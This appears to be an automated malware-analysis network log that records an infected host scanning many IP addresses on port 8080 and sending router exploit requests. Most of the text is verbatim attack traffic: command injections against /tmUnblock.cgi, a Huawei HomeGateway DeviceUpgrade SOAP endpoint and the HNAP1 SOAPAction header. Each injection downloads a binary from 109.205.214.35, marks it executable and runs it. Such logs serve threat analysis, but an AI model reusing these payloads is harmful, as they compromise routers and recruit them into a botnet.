Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.229.126.165:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.196.231.7:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.247.154.50:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.79.93.9:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.71.188.249:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.203.13.198:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.133.161.201:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.208.132.201:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.168.107.176:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.252.227.39:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.74.82.119:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.140.104.78:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.231.88.197:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.236.181.199:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.87.10.175:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.108.189.57:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.58.103.99:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.171.199.22:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.214.205.37:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.185.33.87:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.105.167.135:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.88.65.77:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.107.244.50:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.118.41.190:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.245.51.160:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.156.236.204:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.254.187.78:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.90.142.174:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.239.210.71:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.62.218.203:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.157.45.195:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.39.160.61:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.188.123.176:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.119.199.109:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.104.233.12:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.21.161.9:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.64.248.104:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.105.232.158:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.109.238.151:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.112.188.240:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.210.17.37:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.34.12.202:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.192.166.76:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.110.244.222:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.84.47.188:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.23.45.182:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.46.46.254:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.59.78.215:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.218.13.191:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.200.168.78:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.199.148.226:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.63.155.197:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.50.190.190:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.128.203.23:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.46.24.255:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.199.178.13:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.16.43.47:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.20.53.46:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.11.49.194:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.213.18.13:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.34.172.251:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.2.53.171:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.134.168.253:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.218.167.123:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.92.139.177:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.188.253.85:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.119.98.200:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.86.100.133:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.227.73.119:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.86.27.23:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.0.214.139:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.17.90.49:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.151.117.238:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.31.39.2:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.62.60.3:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.128.39.220:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.40.5.103:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.164.49.23:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.200.29.19:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.20.126.23:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.132.211.113:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.19.245.171:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.41.93.144:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.41.1.144:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.154.198.145:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.171.170.30:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.71.134.117:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.13.121.25:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.169.30.228:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.39.61.36:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.198.80.81:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.6.74.201:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.228.179.15:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.223.201.130:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.196.71.51:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.67.216.66:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.180.192.108:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.119.253.222:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.153.52.37:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.26.83.149:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.121.61.230:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.170.19.186:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.222.237.62:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.171.250.43:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.101.152.47:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.48.178.120:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.82.154.10:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.195.108.162:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.232.61.24:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.172.166.26:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.198.54.25:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 98.207.244.50:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.181.219.81:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.81.6.239:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.71.177.21:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.136.45.203:8080
Source: global traffic	TCP traffic: 192.168.2.23:19033 -> 184.0.120.164:8080

Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
